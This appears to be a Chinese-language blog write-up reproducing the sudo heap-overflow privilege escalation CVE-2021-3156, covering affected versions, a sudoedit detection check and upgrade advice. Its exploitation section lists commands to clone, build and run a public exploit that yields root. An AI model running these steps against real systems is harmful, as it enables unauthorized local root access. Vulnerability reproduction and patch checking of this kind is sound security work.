Linux sudo权限提升(CVE-2021-3156)漏洞复现

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

小维

漏洞概述

Sudo是一个功能强大的工具,其允许普通用户执行root权限命令,大多数基于Unix和Linux的操作系统都包含sudo。

2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

安全研究人员于1月26日公开披露了此漏洞,并表示该漏洞已经隐藏了近十年。

受影响版本

1
2
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1

检测方法

以非root用户登录系统,并运行sudoedit -s /命令

响应一个以sudoedit:开头的报错,那么表明存在漏洞。

image-20210202103228116

响应一个以usage:开头的报错,那么表明补丁已经生效。

image-20210202114538438

漏洞利用

1
2
3
4
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>
kali Linux 测试

image-20210202104425241

修复建议

官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。

官方下载链接:https://www.sudo.ws/download.html

image-20210202114622883

参考

https://www.sudo.ws/alerts/unescape_overflow.html

http://blog.nsfocus.net/cve-2021-3156/

https://github.com/blasty/CVE-2021-3156

-本文结束感谢您的阅读-